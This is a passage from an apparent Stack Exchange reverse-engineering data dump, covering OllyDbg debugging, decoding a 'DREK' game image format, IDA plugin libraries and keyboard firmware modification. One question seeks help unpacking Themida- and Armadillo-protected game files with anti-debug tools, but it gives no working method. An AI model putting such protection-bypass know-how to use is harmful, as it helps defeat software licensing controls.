data&#xA;6FAF0000   Module C:\WINDOWS\system32\apphelp.dll&#xA;72280000   Module C:\WINDOWS\SYSTEM32\DAVHLPR.DLL&#xA;72290000   Module C:\WINDOWS\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.10586.0_none_811bc0006c44242b\COMCTL32.DLL&#xA;749E0000   Module C:\WINDOWS\SYSTEM32\CRYPTBASE.dll&#xA;749F0000   Module C:\WINDOWS\SYSTEM32\SspiCli.dll&#xA;74BC0000   Module C:\WINDOWS\SYSTEM32\kernel.appcore.dll&#xA;74BD0000   Module C:\WINDOWS\SYSTEM32\shcore.dll&#xA;74C60000   Module C:\WINDOWS\SYSTEM32\COMDLG32.dll&#xA;74DF0000   Module C:\WINDOWS\SYSTEM32\bcryptPrimitives.dll&#xA;74F70000   Module C:\WINDOWS\SYSTEM32\SHELL32.dll&#xA;763D0000   Module C:\WINDOWS\SYSTEM32\SHLWAPI.dll&#xA;76420000   Module C:\WINDOWS\SYSTEM32\msvcrt.dll&#xA;76770000   Module C:\WINDOWS\SYSTEM32\ADVAPI32.dll&#xA;76850000   Module C:\WINDOWS\SYSTEM32\RPCRT4.dll&#xA;76920000   Module C:\WINDOWS\SYSTEM32\profapi.dll&#xA;             Invalid or compressed Image Export Directory&#xA;76930000   Module C:\WINDOWS\SYSTEM32\USER32.dll&#xA;76A80000   Module C:\WINDOWS\SYSTEM32\sechost.dll&#xA;76AD0000   Module C:\WINDOWS\SYSTEM32\combase.dll&#xA;76D80000   Module C:\WINDOWS\SYSTEM32\KERNEL32.DLL&#xA;76E60000   Module C:\WINDOWS\SYSTEM32\KERNELBASE.dll&#xA;77090000   Module C:\WINDOWS\SYSTEM32\GDI32.dll&#xA;775F0000   Module C:\WINDOWS\SYSTEM32\powrprof.dll&#xA;776A0000   Module C:\WINDOWS\SYSTEM32\cfgmgr32.dll&#xA;776E0000   Module C:\WINDOWS\SYSTEM32\FirewallAPI.dll&#xA;77740000   Module C:\WINDOWS\SYSTEM32\windows.storage.dll&#xA;77CA0000   Module C:\WINDOWS\SYSTEM32\NETAPI32.dll&#xA;77CC0000   Module C:\WINDOWS\SYSTEM32\ntdll.dll&#xA;74A10000   Module C:\WINDOWS\SYSTEM32\IMM32.DLL&#xA;           Debugged program was unable to process exception&#xA;           Thread 00001E60 terminated, exit code 4000001E (1073741854.)&#xA;           Thread 000013D0 terminated, exit code 4000001E (1073741854.)&#xA;72170000   Module C:\WINDOWS\SYSTEM32\fwbase.dll&#xA;           Process terminated, exit code 4000001E (1073741854.)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17000" LastEditorUserId="17000" LastEditDate="2016-08-05T11:54:45.397" LastActivityDate="2016-08-05T15:15:52.350" Title="A simple reverseme application won't run, always loads the code of ntdll and terminates the app" Tags="|ollydbg|" AnswerCount="1" CommentCount="0" ClosedDate="2016-08-15T09:48:49.190" ContentLicense="CC BY-SA 3.0" />
  <row Id="13214" PostTypeId="2" ParentId="13213" CreationDate="2016-08-05T11:46:31.753" Score="2" Body="&lt;p&gt;by default the first breakpoint is always the &lt;code&gt;System Breakpoint&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;select &lt;code&gt;options (ALT+O)&lt;/code&gt;&lt;br&gt;&#xA;select &lt;code&gt;Start from Debugging&lt;/code&gt;&lt;br&gt;&#xA;select the &lt;code&gt;radio button Entry point of main module&lt;/code&gt;&lt;br&gt;&#xA;in starting the application group    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;now ollydbg will break on &lt;code&gt;PeHeader-&amp;gt;EntryPoint&lt;/code&gt;   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uEh77.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uEh77.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;comment edited in&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The log you edited in shows that process was terminated with 4000001E wow64 single step exception you are soing some x64 / x32 mixup my odbg version is latest v 2.01 earlier version 1.10 has problems running in lates os it was ok upto xpsp3 only&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2016-08-05T15:15:52.350" LastActivityDate="2016-08-05T15:15:52.350" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13215" PostTypeId="2" ParentId="9555" CreationDate="2016-08-05T12:54:45.757" Score="1" Body="&lt;p&gt;Don't be fooled by the .tga extention.  Some developers add an extention to their files to throw people like us off. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your files could easily be either, a different image type, an archive (zlib as an example) or an encrypted data.&#xA;(In your case they just might be actual tga files.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One method you could use to get the images that you are looking for is to go around the encryption. If theses files are indeed enceypted, then you could use its original engine to open the files as usual (boot the game). Then you could open the applications memory using a memory editor (such as CE). If you can locate the game data in memory, (at which point it would be decrypted) then you could ripp it out and rebuild it as the correct file type.  You may have to do research on the tga file structure first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover,  you could try poking around in the dll files (look for plain text in the header),  and try to research their origin  or functions,  for all you know, those dlls could actually be compression or encryption libraries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly,  I recomend a debugger like ProcessExplorer, pay attention to the offsets when the .tgas are loaded. That way you can determine it's structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might wanna explore ollydbg, that way you could see the steps the application goes through before decryption. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="17001" LastActivityDate="2016-08-05T12:54:45.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13216" PostTypeId="1" CreationDate="2016-08-05T19:09:50.270" Score="0" ViewCount="82" Body="&lt;p&gt;I've been running into a lot of FPU instructions from an old program I am trying to reverse engineer. It tends to be rather difficult to reverse when there is a huge section of FPU instructions, just the way the FPU operates. It uses a stack for registers so the positions of values is constantly changing. You can't just look back and see what value was set into the register as you would have to go back and track all the loads and pops. I've tried some decompilers and most of them don't decompile the FPU assembly, it just leaves it as assembly. Any help to simplify the task of reversing FPU instructions would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="17003" LastActivityDate="2016-08-06T09:44:49.483" Title="Decompiling or Feature to Help Reverse FPU Instructions?" Tags="|decompile|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13217" PostTypeId="1" CreationDate="2016-08-06T03:47:22.160" Score="1" ViewCount="827" Body="&lt;p&gt;So here's the thing, a few years ago I bought 2 games from a Russian site, sketchy I know, but they worked really well, I was instructed to protect the files with Themida as this was used in a gaming hall and files could be passed around freely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a backup of the original files but disk got damaged and I can't find the USB flash drive. Basically the first games exe is protected with Armadillo 8.2. No problem, I memorized the name and password, but it has a .dll protected with Themida 2.0.3 and Xtreme-protector v1.08... Second one is protected with same version of Themida and Aspack 2.12.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm new to the unpacking scene so any help would be appreciated. I've tried loading it on olly with phantom, strong od, scyllaHide and odgbscript, used the script of LCF-AT with success by loading the .dll only, checked the dumped file only to find out its the same thing with same protection but bigger size on it, after doing like 14 hours of research I saw you have to mount it and run the script to be successful. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the problem is as soon as I mount it (f9) it terminates itself and I can't do anything else, I can load the dll and it pauses but as soon as I run f9 it terminates, the if I load the exe it terminates instantly. Any help would be appreciated, or if anyone is willing to take a look at it I'll be grateful.&lt;/p&gt;&#xA;" OwnerUserId="17007" LastEditorUserId="17151" LastEditDate="2016-08-19T15:20:11.937" LastActivityDate="2016-08-19T15:20:11.937" Title="program terminates right after opening in ollydbg" Tags="|ollydbg|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13218" PostTypeId="2" ParentId="13216" CreationDate="2016-08-06T09:44:49.483" Score="2" Body="&lt;p&gt;In fact, the Hex-Rays decompiler &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/manual/fpu.shtml&quot; rel=&quot;nofollow&quot;&gt;supports FPU instructions&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-08-06T09:44:49.483" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13219" PostTypeId="2" ParentId="13206" CreationDate="2016-08-06T12:10:03.990" Score="1" Body="&lt;p&gt;The official response I got from hex-rays states they rather avoid shipping too many third party libraries bundled with IDA if said libraries will not be helpful for the majority of users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They suggested compiling the necessary Qt libraries myself and bundling the resulting packages with the plugin, but unfortunately this will be a nightmare to maintain (carrying out those packages for every IDA version).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although using QNetwork will have some advantages (like clean async operation), my original goal was ease of maintenance and this is better achieved by using a python library like requests. That's probably the direction I'll be taking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the full response is this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We don't, because the disadvantages would far surpass the benefit.&#xA;  That is, we would have to ship many more libraries (no reason to stop&#xA;  to QtNetwork), that probably &amp;lt; 1% our users need, and adding that much&#xA;  bloat for such little benefit, doesn't really make sense to us.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;That being said we provide instructions + patch to re-build it yourself&#xA;  from the original Qt 5.4.1 sources:&#xA;   - &lt;a href=&quot;http://www.hexblog.com/?p=969&quot; rel=&quot;nofollow&quot;&gt;http://www.hexblog.com/?p=969&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;With those you should obtain a new Qt build, that corresponds to&#xA;  the one we're shipping, ... plus those libraries we don't ship&#xA;  (and PDBs, of course.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;They also went on and explained why Python/PyQt/QtWidgets.pyd are indeed shipped rather surprisingly:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A valid question would be: why ship python/PyQt5/QtWidgets.pyd then?&#xA;  ..well, there really is no reason. This is a mistake.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And finished by tipping off about an upcoming new minor release:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;PS: We are a few days away from a new release (IDA 6.95), that will ship&#xA;  with Qt 5.6.0, which is a long-term release (i.e., 3 years support +&#xA;  bugfixes.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Noting the complexities of bundling additional IDA-QT libraries with plugins:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unless you really have to build specifically for IDA 6.9 (and thus&#xA;  Qt 5.4.1), perhaps it's best to wait for the new release, in order to&#xA;  not have to do it twice? (I'll write a similar blog post with configure&#xA;  options + patch for IDA 6.95)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2016-08-06T12:10:03.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13221" PostTypeId="1" AcceptedAnswerId="21959" CreationDate="2016-08-06T23:08:29.917" Score="16" ViewCount="2729" Body="&lt;p&gt;There are some unknow images, which I would like to decode to &lt;code&gt;RRGGBBAA&lt;/code&gt; format. It was a really hard work, but at the moment I can somewhat understand, that which part of the binary is responsible for what. But I'm stuck at the end, and I have no idea how to continue it. This is what I've found out:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know, that the size of the first image is a 9*3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is some kind of table at the begining of the file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x08 0x08 0x10&#xA;0x08 0x08 0x08&#xA;0x00 0x00 0x00&#xA;0x10 0x10 0x18&#xA;0x18 0x18 0x20&#xA;0x10 0x14 0x18&#xA;0x08 0x08 0x10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is the image data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x09 0x00 0x03 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x01 0x00 0x00 0x00&#xA;0x0c 0x00 0x00 0x00 0x00 0x01 0x03 0x09 0x01 0x01 0x02 0x11 0x01 0x01 0x02 0x02&#xA;0x01 0x0f 0x0f 0x03 0x0a 0x03 0x08 0x05 0x08 0x04 0x08 0x03 0x09 0x00 0x09 0x00&#xA;0x0c 0x00 0x02&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The number of elements in the table can be divided by three, so I think it is some kind of RRGGBB palette.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I have no idea, how to decode the imagedata. It's size is not 9*3, so It may be compressed. It is a really small image, and I think that this is why the compression made the binary bigger than it was before.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've uploaded this file here: &lt;a href=&quot;https://ulozto.net/!Rku8rxNXT/2npflecb3-drk&quot; rel=&quot;nofollow noreferrer&quot;&gt;Download file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've colored it, to better understand it's structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first part of the file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nKsPT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nKsPT.png&quot; alt=&quot;hex1&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The red section is just some kind of file signature.&lt;/li&gt;&#xA;&lt;li&gt;The brown part is the file length in bytes. (1107)&lt;/li&gt;&#xA;&lt;li&gt;The green shows, how many images are stored in the file (currently one)&lt;/li&gt;&#xA;&lt;li&gt;The blue part shows, where the table begins ( 0x60 = at the 96th byte)&lt;/li&gt;&#xA;&lt;li&gt;The grey part shows, how long the content in the table is. Currently it's 7, so the table has 7*3 = 21 bytes, the other values are &lt;code&gt;CD&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;The table is marked with purple&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The second part of the file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QUmGw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QUmGw.png&quot; alt=&quot;hex2&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The blue part is the header of the image.&lt;/li&gt;&#xA;&lt;li&gt;The yellow part shows, how long the image is (51bytes)&lt;/li&gt;&#xA;&lt;li&gt;The red is the image width, and the brown is the height (3*9)&lt;/li&gt;&#xA;&lt;li&gt;The 8 zero bytes (selected with green) are the same in each file.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I've uploaded two more files.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A similar small file: &lt;a href=&quot;https://ulozto.net/!k1PYzGbkU/2npflecb7-drk&quot; rel=&quot;nofollow noreferrer&quot;&gt;Download&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;And a bigger one: &lt;a href=&quot;https://ulozto.net/!jEHtP2HjJ/nstrtfond-drk&quot; rel=&quot;nofollow noreferrer&quot;&gt;Download&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The bigger file has a resolution of 800*600 And I suspect it is this one (screenshot):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fdX9v.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fdX9v.png&quot; alt=&quot;bacground&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the beginning (from &lt;code&gt;3C0&lt;/code&gt;), only the the first two or three bytes are set in each 4 byte group. From &lt;code&gt;0xD28&lt;/code&gt;, I cannot recognise any pattern.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Spektre's code works with most of the files. But there are some small icons, with transparency, which look distorted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example this icon: &lt;a href=&quot;https://ulozto.net/!UX8on1tX2/nblaz30s-drk&quot; rel=&quot;nofollow noreferrer&quot;&gt;Download&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is how it looks like, over a brownish background: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ORcYo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ORcYo.png&quot; alt=&quot;icon&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, the scanlines are not fixed-width. And the unknown &lt;code&gt;252&lt;/code&gt; flags at the beginning of each scanline, and &lt;code&gt;254&lt;/code&gt; flags after every 32bytes are also different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can recognise patterns and symmetry in the binary, but I haven't figured out yet, how it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've colored the scanlines of the icon's imagedata, to have a better overview:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/njdSu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/njdSu.png&quot; alt=&quot;icon hex&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many of them starts with, and all of them ends with &lt;code&gt;0x02&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit3:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I uploaded some images, with screenshots:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Snowy mountain: &lt;a href=&quot;http://ulozto.net/!xLAKJmuzx/mountain-zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;Download&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Three icons: &lt;a href=&quot;https://ulozto.net/!Ns6WZEmrR/images-zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;Download&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I uploaded two more images, which I found distorted. The first is an icon, which is almost perfect. And the second one is a dragon, which is barely recognisable.  Unfortunately I cannot provide screenshots for this two: &lt;a href=&quot;http://ulozto.net/!bqqUUskzx/images2-zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;Download&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I implemented the core algorithm ( from &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/13224/16846&quot;&gt;Spektre's answer&lt;/a&gt; ) in JS. It can be found, and edited online here: &lt;a href=&quot;https://jsfiddle.net/zz20qkgw/5/&quot; rel=&quot;nofollow noreferrer&quot;&gt;JSFiddle link&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit4:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've made some progress with the mountain, and the dragon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think, that the first 7 bits of the flag byte shows, on which x coordinate the line starts ( ´xstart = flag&gt;&gt;1;´ ). The least significant bit is a switch, which marks, that the line has this offset or not. You can try/edit the current code here: &lt;a href=&quot;https://jsfiddle.net/zz20qkgw/5/&quot; rel=&quot;nofollow noreferrer&quot;&gt;JSFiddle link&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cU72X.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cU72X.png&quot; alt=&quot;mountain_progress&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The expected result would be similar to this (which is not far):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LzkC0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LzkC0.png&quot; alt=&quot;mountain&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The distorted parts around the mountain are shadow/transparency, but I still wasn't be able to find any marks/flags about where the blocks with alpha values start and end.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit5:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think, I've found a pattern in the mountain image. After the flag byte, the next byte &lt;strong&gt;may&lt;/strong&gt; show, (&lt;code&gt;flag2&amp;gt;&amp;gt;1&lt;/code&gt;), how many &lt;code&gt;(Color, Alpha)&lt;/code&gt; blocks are at the beginning of the line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The left side of the mountain looks slightly better now:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SAy6T.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SAy6T.png&quot; alt=&quot;mountain left&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Unfortunately this change breaks the other images&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="16846" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2019-08-22T14:55:56.860" Title="Decoding an unknown image format with &quot;DREK&quot; signature (*.drk)" Tags="|binary-analysis|file-format|unpacking|decompress|binary-diagnosis|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="13222" PostTypeId="1" CreationDate="2016-08-07T06:43:36.040" Score="1" ViewCount="743" Body="&lt;p&gt;Here's IDA: &lt;a href=&quot;http://pastebin.com/AkU0MDWh&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/AkU0MDWh&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, would this be written in C to show like this? In comparison to a regular method like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ListRowCell - (id)initWithStyle:(int) reuseIdentifier:(id)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15808" LastEditorUserId="15808" LastEditDate="2016-08-08T16:44:17.453" LastActivityDate="2016-08-09T20:02:11.157" Title="Can this method be hooked in iOS?" Tags="|ida|ios|function-hooking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13223" PostTypeId="1" CreationDate="2016-08-07T06:48:00.560" Score="2" ViewCount="1512" Body="&lt;p&gt;This is my first reverse engineering project! I recently bought a Ducky Mini keyboard, which is controlled by an ARM Cortex-M3 SoC (to be specific, a Holtek HT32F1655,) and noticed that other keyboards based on the same or similar chips have had their firmware successfully modified, such as a &lt;a href=&quot;http://spritesmods.com/?art=rapidisnake&quot; rel=&quot;nofollow&quot;&gt;Quickfire Rapid playing snake.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the link above as a guide (albeit a crude one - the article was written as more of a general process than a guide to firmware hacking these keyboards,) I've started work on creating CFW for the Ducky Mini (which will hopefully work later on any Holtek32-based keyboards such as the Poker 2 and Pok3r.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My progress so far: I've successfully isolated the firmware from an executable updater released by Ducky, and accomplished XOR decryption to scrambled and partially encrypted assembly code. From what's disassemblable, I believe I've found and fixed the small bit of assembly that prevents reading flash data over USB past 0x2C00 (the keyboard firmware version is held in a memory region between 0x2800 and 0x2C00 for simplicity,) something similar to the Quickfire Rapid. I'm far from an expert at ARM assembly, and following segmented code in IDA is a pain, but I'm pretty sure the small changes I made were correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where I'm stuck: The author of the article above mentions writing a small program using libusb to dump the unencrypted firmware directly from the keyboard. Unfortunately, I have absolutely none of the knowledge of libusb or USB protocols needed to accomplish this step. Thus, I can't even confirm that the changes to the firmware I've made make the flash readable past 0x2C00, let alone allow me to dump the firmware. Can someone interested and experienced help here?&lt;/p&gt;&#xA;" OwnerUserId="17015" LastActivityDate="2016-08-07T06:48:00.560" Title="Ducky Mini Firmware Hacking" Tags="|disassembly|firmware|usb|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13224" PostTypeId="2" ParentId="13221" CreationDate="2016-08-07T11:40:13.253" Score="24" Body="&lt;p&gt;&lt;strong&gt;[Complete ReEdit3] further progress &amp;amp; shortening the text to fit the 30KB limit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First some input how I got here (for future readers trying to do the same for different format).&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Image Data size&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Comparing provided background image to its raw image size &lt;code&gt;xs*ys&lt;/code&gt; reveal direct dependence Which implies no compression or one that has always the same pixel to data ratio. I was assuming No compression.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Image Data align.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First numbers are &lt;code&gt;DWORD&lt;/code&gt; aligned with zero padding. By closer look it is always &lt;code&gt;DWORD[ys]&lt;/code&gt; so that is implying some info per each &lt;strong&gt;ScanLine&lt;/strong&gt;. The numbers are increasing with constant step. For &lt;code&gt;800x600&lt;/code&gt; image With step &lt;code&gt;826&lt;/code&gt; Implying it is &lt;strong&gt;ScanLine&lt;/strong&gt; directory containing relative offsets. Tests confirms it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ctbqP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ctbqP.png&quot; alt=&quot;patterns&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The small images are too small to see any details so I ignore them completely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The vertical lines are the &lt;code&gt;26 BYTES&lt;/code&gt; inconsistency with &lt;code&gt;xs&lt;/code&gt; starting from first &lt;code&gt;BYTE&lt;/code&gt; of &lt;strong&gt;ScanLine&lt;/strong&gt; containing some kind of info. After more taught and pixel measuring these lines appears each &lt;code&gt;33 BYTES&lt;/code&gt; probably containing some &lt;strong&gt;flag&lt;/strong&gt; info (like: tile highlight,transparency or effect masks). If skipped The result is closer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6A9pN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6A9pN.png&quot; alt=&quot;colors&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Colors&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I simply took your &lt;strong&gt;ScreenShot&lt;/strong&gt; and compare first decoded pixel with its. Find the color index in palette matching the color from each image and spotted the difference is simple increment. So I firstly increment the color index while decoding And result was good. After some research I found out that palette data has &lt;code&gt;257&lt;/code&gt; colors instead of assumed &lt;code&gt;256&lt;/code&gt; at first so I change the palette offset to compensate (no need for color index change anymore) Implying the first color entry (skipped by offset change) is some kind of special color (see bullet &lt;strong&gt;#1&lt;/strong&gt;). Latter I deduced it is not color at all and does not belong to palette data but to header data. Now the result is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Yfc8u.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Yfc8u.png&quot; alt=&quot;final output&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I would not spot the color dependency then I would do histogram for decoded and screenshot image and then analyze dependency on most occuring colors indexes hoping to spot some pattern. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Comparison&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I pixel match the decoded image with your &lt;strong&gt;ScreenShot&lt;/strong&gt; but the images are not matching. Possibly some post processing or lighting was applied to it or there is some mistake in the decoding. It is hard to decide as I have no access to the original App and or knowledge of its inner 